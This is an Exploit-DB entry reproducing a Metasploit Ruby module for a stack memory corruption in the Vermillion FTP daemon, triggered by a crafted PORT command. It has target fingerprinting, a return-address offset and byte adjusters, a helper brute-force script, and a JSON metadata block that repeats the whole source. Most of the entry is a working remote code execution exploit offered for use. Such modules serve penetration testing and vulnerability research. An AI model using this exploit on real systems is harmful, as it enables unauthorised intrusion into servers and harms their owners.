Vermillion FTP Daemon PORT Command Memory Corruption
2010-09-20T00:00:00
ID EDB-ID:16723 Type exploitdb Reporter metasploit Modified 2010-09-20T00:00:00
Description
Vermillion FTP Daemon PORT Command Memory Corruption. Remote exploit for windows platform
##
# $Id: vermillion_ftpd_port.rb 10394 2010-09-20 08:06:27Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::Remote::Ftp
def initialize(info = {})
super(update_info(info,
'Name' => 'Vermillion FTP Daemon PORT Command Memory Corruption',
'Description' => %q{
This module exploits an out-of-bounds array access in the Arcane Software
Vermillion FTP server. By sending an specially crafted FTP PORT command,
an attacker can corrupt stack memory and execute arbitrary code.
This particular issue is caused by processing data bound by attacker
controlled input while writing into a 4 byte stack buffer. Unfortunately,
the writing that occurs is not a simple byte copy.
Processing is done using a source ptr (p) and a destination pointer (q).
The vulnerable function walks the input string and continues while the
source byte is non-null. If a comma is encountered, the function increments
the the destination pointer. If an ascii digit [0-9] is encountered, the
following occurs:
*q = (*q * 10) + (*p - '0');
All other input characters are ignored in this loop.
As a consequence, an attacker must craft input such that modifications
to the current values on the stack result in usable values. In this exploit,
the low two bytes of the return address are adjusted to point at the
location of a 'call edi' instruction within the binary. This was chosen
since 'edi' points at the source buffer when the function returns.
NOTE: This server can be installed as a service using "vftpd.exe install".
If so, the service does not restart automatically, giving an attacker only
one attempt.
},
'Author' =>
[
'jduck' # metasploit module
],
'Version' => '$Revision: 10394 $',
'References' =>
[
[ 'OSVDB', '62163' ],
[ 'URL', 'http://www.exploit-db.com/exploits/11293' ],
[ 'URL', 'http://www.global-evolution.info/news/files/vftpd/vftpd.txt' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process'
},
'Privileged' => true,
'Payload' =>
{
# format string max length
'Space' => 1024,
'BadChars' => "\x00\x08\x0a\x0d\x2c\xff",
'DisableNops' => 'True'
},
'Platform' => 'win',
'Targets' =>
[
#
# Automatic targeting via fingerprinting
#
[ 'Automatic Targeting', { 'auto' => true } ],
#
# specific targets
#
[ 'vftpd 1.31 - Windows XP SP3 English',
{
# call edi in vftpd.exe (v1.31)
'OldRet' => 0x405a73, # not used directly
'Ret' => 0x4058e3, # not used directly
'Offset' => 16, # distance to saved return
'Adders' => "171,48" # adjust the bottom two bytes
}
]
],
'DisclosureDate' => 'Sep 23 2009',
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(21),
], self.class )
end
def check
connect
disconnect
print_status("FTP Banner: #{banner}".strip)
if banner =~ /\(vftpd .*\)/
return Exploit::CheckCode::Appears
end
return Exploit::CheckCode::Safe
end
def exploit
# Use a copy of the target
mytarget = target
if (target['auto'])
mytarget = nil
print_status("Automatically detecting the target...")
connect
disconnect
if (banner and (m = banner.match(/\(vftpd (.*)\)/))) then
print_status("FTP Banner: #{banner.strip}")
version = m[1]
else
print_status("No matching target")
return
end
self.targets.each do |t|
if (t.name =~ /#{version} - /) then
mytarget = t
break
end
end
if (not mytarget)
print_status("No matching target")
return
end
print_status("Selected Target: #{mytarget.name}")
else
print_status("Trying target #{mytarget.name}...")
end
connect
stuff = payload.encoded
# skip 16 bytes
stuff << "," * mytarget['Offset']
# now we change the return address to be what we want
stuff << mytarget['Adders']
if (res = send_cmd(['PORT', stuff]))
print_status(res.strip)
end
disconnect
handler
end
end
=begin
NOTE: the following code was used to obtain the "Adders" target value.
I'm not extremely pleased with this solution, but I haven't come up with
a more elegant one...
=========================
#!/usr/bin/env ruby
#
# usage: ./find_adder.rb <old ret> <new ret>
# example: ./find_adder.rb 0x405a73 0x004058e3
#
$old_ret = ARGV.shift.to_i(16)
$new_ret = ARGV.shift.to_i(16)
oret = [$old_ret].pack('V').unpack('C*')
nret = [$new_ret].pack('V').unpack('C*')
def process_idx(oret, nret, adders, idx)
new_val = oret[idx]
digits = adders[idx].to_s.unpack('C*')
digits.each { |dig|
dig -= 0x30
new_val = (new_val * 10) + dig
}
return (new_val & 0xff)
end
# brute force approach!
final_adders = [ nil, nil, nil, nil ]
adders = []
4.times { |idx|
next if (oret[idx] == nret[idx])
10.times { |x|
10.times { |y|
10.times { |z|
adders[idx] = (x.to_s + y.to_s + z.to_s).to_i
val = process_idx(oret, nret, adders, idx)
if (val == nret[idx])
final_adders[idx] = adders[idx]
end
break if (final_adders[idx])
}
break if (final_adders[idx])
}
break if (final_adders[idx])
}
}
# check/print the solution
eret = []
4.times { |idx|
eret << process_idx(oret, nret, adders, idx)
}
final = eret.pack('C*').unpack('V')[0]
if (final == $new_ret)
puts final_adders.join(',')
exit(0)
end
puts "unable to find a valid solution!"
exit(1)
=end
{"id": "EDB-ID:16723", "type": "exploitdb", "bulletinFamily": "exploit", "title": "Vermillion FTP Daemon PORT Command Memory Corruption", "description": "Vermillion FTP Daemon PORT Command Memory Corruption. Remote exploit for windows platform", "published": "2010-09-20T00:00:00", "modified": "2010-09-20T00:00:00", "cvss": {"score": 0.0, "vector": "NONE"}, "href": "https://www.exploit-db.com/exploits/16723/", "reporter": "metasploit", "references": [], "cvelist": [], "lastseen": "2016-02-02T06:21:59", "viewCount": 3, "enchantments": {"score": {"value": 0.2, "vector": "NONE", "modified": "2016-02-02T06:21:59", "rev": 2}, "dependencies": {"references": [], "modified": "2016-02-02T06:21:59", "rev": 2}, "vulnersScore": 0.2}, "sourceHref": "https://www.exploit-db.com/download/16723/", "sourceData": "##\r\n# $Id: vermillion_ftpd_port.rb 10394 2010-09-20 08:06:27Z jduck $\r\n##\r\n\r\n##\r\n# This file is part of the Metasploit Framework and may be subject to\r\n# redistribution and commercial restrictions. Please see the Metasploit\r\n# Framework web site for more information on licensing and terms of use.\r\n# http://metasploit.com/framework/\r\n##\r\n\r\nrequire 'msf/core'\r\n\r\nclass Metasploit3 < Msf::Exploit::Remote\r\n\tRank = GreatRanking\r\n\r\n\tinclude Msf::Exploit::Remote::Ftp\r\n\r\n\tdef initialize(info = {})\r\n\t\tsuper(update_info(info,\r\n\t\t\t'Name' => 'Vermillion FTP Daemon PORT Command Memory Corruption',\r\n\t\t\t'Description' => %q{\r\n\t\t\t\t\tThis module exploits an out-of-bounds array access in the Arcane Software\r\n\t\t\t\tVermillion FTP server. By sending an specially crafted FTP PORT command,\r\n\t\t\t\tan attacker can corrupt stack memory and execute arbitrary code.\r\n\r\n\t\t\t\tThis particular issue is caused by processing data bound by attacker\r\n\t\t\t\tcontrolled input while writing into a 4 byte stack buffer. Unfortunately,\r\n\t\t\t\tthe writing that occurs is not a simple byte copy.\r\n\r\n\t\t\t\tProcessing is done using a source ptr (p) and a destination pointer (q).\r\n\t\t\t\tThe vulnerable function walks the input string and continues while the\r\n\t\t\t\tsource byte is non-null. If a comma is encountered, the function increments\r\n\t\t\t\tthe the destination pointer. If an ascii digit [0-9] is encountered, the\r\n\t\t\t\tfollowing occurs:\r\n\r\n\t\t\t\t\t*q = (*q * 10) + (*p - '0');\r\n\r\n\t\t\t\tAll other input characters are ignored in this loop.\r\n\r\n\t\t\t\tAs a consequence, an attacker must craft input such that modifications\r\n\t\t\t\tto the current values on the stack result in usable values. In this exploit,\r\n\t\t\t\tthe low two bytes of the return address are adjusted to point at the\r\n\t\t\t\tlocation of a 'call edi' instruction within the binary. This was chosen\r\n\t\t\t\tsince 'edi' points at the source buffer when the function returns.\r\n\r\n\t\t\t\tNOTE: This server can be installed as a service using \"vftpd.exe install\".\r\n\t\t\t\tIf so, the service does not restart automatically, giving an attacker only\r\n\t\t\t\tone attempt.\r\n\t\t\t},\r\n\t\t\t'Author' =>\r\n\t\t\t\t[\r\n\t\t\t\t\t'jduck' # metasploit module\r\n\t\t\t\t],\r\n\t\t\t'Version' => '$Revision: 10394 $',\r\n\t\t\t'References' =>\r\n\t\t\t\t[\r\n\t\t\t\t\t[ 'OSVDB', '62163' ],\r\n\t\t\t\t\t[ 'URL', 'http://www.exploit-db.com/exploits/11293' ],\r\n\t\t\t\t\t[ 'URL', 'http://www.global-evolution.info/news/files/vftpd/vftpd.txt' ]\r\n\t\t\t\t],\r\n\t\t\t'DefaultOptions' =>\r\n\t\t\t\t{\r\n\t\t\t\t\t'EXITFUNC' => 'process'\r\n\t\t\t\t},\r\n\t\t\t'Privileged' => true,\r\n\t\t\t'Payload' =>\r\n\t\t\t\t{\r\n\t\t\t\t\t# format string max length\r\n\t\t\t\t\t'Space' => 1024,\r\n\t\t\t\t\t'BadChars' => \"\\x00\\x08\\x0a\\x0d\\x2c\\xff\",\r\n\t\t\t\t\t'DisableNops'\t=> 'True'\r\n\t\t\t\t},\r\n\t\t\t'Platform' => 'win',\r\n\t\t\t'Targets' =>\r\n\t\t\t\t[\r\n\t\t\t\t\t#\r\n\t\t\t\t\t# Automatic targeting via fingerprinting\r\n\t\t\t\t\t#\r\n\t\t\t\t\t[ 'Automatic Targeting', { 'auto' => true } ],\r\n\r\n\t\t\t\t\t#\r\n\t\t\t\t\t# specific targets\r\n\t\t\t\t\t#\r\n\t\t\t\t\t[\t'vftpd 1.31 - Windows XP SP3 English',\r\n\t\t\t\t\t\t{\r\n\t\t\t\t\t\t\t# call edi in vftpd.exe (v1.31)\r\n\t\t\t\t\t\t\t'OldRet' => 0x405a73, # not used directly\r\n\t\t\t\t\t\t\t'Ret' \t=> 0x4058e3, # not used directly\r\n\t\t\t\t\t\t\t'Offset' => 16, # distance to saved return\r\n\t\t\t\t\t\t\t'Adders' => \"171,48\" # adjust the bottom two bytes\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t]\r\n\t\t\t\t],\r\n\t\t\t'DisclosureDate' => 'Sep 23 2009',\r\n\t\t\t'DefaultTarget' => 0))\r\n\r\n\t\tregister_options(\r\n\t\t\t[\r\n\t\t\t\tOpt::RPORT(21),\r\n\t\t\t], self.class )\r\n\tend\r\n\r\n\r\n\tdef check\r\n\t\tconnect\r\n\t\tdisconnect\r\n\t\tprint_status(\"FTP Banner: #{banner}\".strip)\r\n\t\tif banner =~ /\\(vftpd .*\\)/\r\n\t\t\treturn Exploit::CheckCode::Appears\r\n\t\tend\r\n\t\treturn Exploit::CheckCode::Safe\r\n\tend\r\n\r\n\r\n\tdef exploit\r\n\r\n\t\t# Use a copy of the target\r\n\t\tmytarget = target\r\n\r\n\t\tif (target['auto'])\r\n\t\t\tmytarget = nil\r\n\r\n\t\t\tprint_status(\"Automatically detecting the target...\")\r\n\t\t\tconnect\r\n\t\t\tdisconnect\r\n\r\n\t\t\tif (banner and (m = banner.match(/\\(vftpd (.*)\\)/))) then\r\n\t\t\t\tprint_status(\"FTP Banner: #{banner.strip}\")\r\n\t\t\t\tversion = m[1]\r\n\t\t\telse\r\n\t\t\t\tprint_status(\"No matching target\")\r\n\t\t\t\treturn\r\n\t\t\tend\r\n\r\n\t\t\tself.targets.each do |t|\r\n\t\t\t\tif (t.name =~ /#{version} - /) then\r\n\t\t\t\t\tmytarget = t\r\n\t\t\t\t\tbreak\r\n\t\t\t\tend\r\n\t\t\tend\r\n\r\n\t\t\tif (not mytarget)\r\n\t\t\t\tprint_status(\"No matching target\")\r\n\t\t\t\treturn\r\n\t\t\tend\r\n\r\n\t\t\tprint_status(\"Selected Target: #{mytarget.name}\")\r\n\t\telse\r\n\t\t\tprint_status(\"Trying target #{mytarget.name}...\")\r\n\t\tend\r\n\r\n\r\n\t\tconnect\r\n\r\n\t\tstuff = payload.encoded\r\n\t\t# skip 16 bytes\r\n\t\tstuff << \",\" * mytarget['Offset']\r\n\t\t# now we change the return address to be what we want\r\n\t\tstuff << mytarget['Adders']\r\n\r\n\t\tif (res = send_cmd(['PORT', stuff]))\r\n\t\t\tprint_status(res.strip)\r\n\t\tend\r\n\r\n\t\tdisconnect\r\n\t\thandler\r\n\r\n\tend\r\n\r\nend\r\n\r\n\r\n=begin\r\n\r\nNOTE: the following code was used to obtain the \"Adders\" target value.\r\nI'm not extremely pleased with this solution, but I haven't come up with\r\na more elegant one...\r\n\r\n=========================\r\n#!/usr/bin/env ruby\r\n#\r\n# usage: ./find_adder.rb <old ret> <new ret>\r\n# example: ./find_adder.rb 0x405a73 0x004058e3\r\n#\r\n\r\n$old_ret = ARGV.shift.to_i(16)\r\n$new_ret = ARGV.shift.to_i(16)\r\n\r\noret = [$old_ret].pack('V').unpack('C*')\r\nnret = [$new_ret].pack('V').unpack('C*')\r\n\r\n\r\ndef process_idx(oret, nret, adders, idx)\r\n\tnew_val = oret[idx]\r\n\tdigits = adders[idx].to_s.unpack('C*')\r\n\tdigits.each { |dig|\r\n\t\tdig -= 0x30\r\n\t\tnew_val = (new_val * 10) + dig\r\n\t}\r\n\treturn (new_val & 0xff)\r\nend\r\n\r\n\r\n# brute force approach!\r\nfinal_adders = [ nil, nil, nil, nil ]\r\n\r\nadders = []\r\n4.times { |idx|\r\n\tnext if (oret[idx] == nret[idx])\r\n\t10.times { |x|\r\n\t\t10.times { |y|\r\n\t\t\t10.times { |z|\r\n\t\t\t\tadders[idx] = (x.to_s + y.to_s + z.to_s).to_i\r\n\r\n\t\t\t\tval = process_idx(oret, nret, adders, idx)\r\n\t\t\t\tif (val == nret[idx])\r\n\t\t\t\t\tfinal_adders[idx] = adders[idx]\r\n\t\t\t\tend\r\n\r\n\t\t\t\tbreak if (final_adders[idx])\r\n\t\t\t}\r\n\t\t\tbreak if (final_adders[idx])\r\n\t\t}\r\n\t\tbreak if (final_adders[idx])\r\n\t}\r\n}\r\n\r\n\r\n# check/print the solution\r\neret = []\r\n4.times { |idx|\r\n\teret << process_idx(oret, nret, adders, idx)\r\n}\r\nfinal = eret.pack('C*').unpack('V')[0]\r\nif (final == $new_ret)\r\n\tputs final_adders.join(',')\r\n\texit(0)\r\nend\r\n\r\nputs \"unable to find a valid solution!\"\r\nexit(1)\r\n\r\n=end\r\n", "osvdbidlist": ["62163"]}